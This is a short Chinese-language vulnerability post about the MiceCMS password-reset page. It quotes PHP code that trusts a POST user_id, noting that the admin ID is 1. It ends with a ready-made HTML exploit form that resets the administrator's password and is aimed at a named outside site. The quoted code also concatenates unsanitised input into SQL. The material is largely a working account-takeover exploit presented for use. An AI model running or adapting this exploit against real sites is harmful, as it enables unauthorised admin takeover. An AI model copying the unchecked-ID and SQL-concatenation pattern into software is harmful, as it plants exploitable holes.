发布日期:2011-01.21
发布作者:心灵
影响版本:未知
官方网站:http://www.micecms.com/
漏洞类型:CSRF攻击
漏洞描述:
经典对白 看代码!..........
index\setpwdAction.php
运行路径是 http://127.0.0.1/index.php/setpwd 呵呵 看上去有点奇特哦
<?php class setpwdAction extends security_normal { function action(){ $loginname=$this->_getParamId(1); $forgetpwd=$this->_getParamId(2); global $conn; if($_POST['user_id']){ //-0-! 居然不是获取Session里的而是自己定义...漏洞所在 $user=new model_User(); //连接数据库 $user->setSubsection('WHERE user_iduser_id='.$_POST['user_id']); //查询会员ID 注意 是ID 不是name 默认管理员的ID 绝对是1 $results=$user->doSelectOne(); $password1=$_POST['pwd1']; //密码 $password2=$_POST['pwd2']; //确认密码 $pwd=''; if($password1==$password2 and strlen($password1)>4) { $salt = md5(rand(100000, 999999).$_POST['loginname']); //这个数值用作多重加密密码 不错的加密思路 同时写在USER表里 $pwd=sha1($salt.$password1); //不解析。。。 就是加密 } if($results) //不解析 { if(strlen($pwd)>0){ //没理由你打算空密码把? $user->setSalt($salt); $user->setPassword($pwd); } $user->setForgetpwd(''); $results=$user->doUpdate(); //写进去了... if($results) $exeresult='密码修改成功,请使用新密码登录网站'; else $exeresult='验证错误,请联系网站管理员!'; //以下代码可以忽略 分析完毕 admin和会员同放在USER表里 所以这里直接修改了 后台登录地址 http://xx.com/admin.php/login
EXP:
<form method="post" action="http://www.t00ls.net/index.php/setpwd" enctype="multipart/form-data" id="upload">
<label>
<input name="user_id" type="text" value="1" />
</label>
<label>
<input name="pwd1" type="text" value="自己写" />
</label>
<label>
<input name="pwd2" type="text" value="自己写" />
</label>
<label>
<input name="loginname" type="text" value="admin" />
</label>
<div></div>
<input name="respondids" value="确定修改 " class="coolbg np" type="submit">
</form>
标签分类: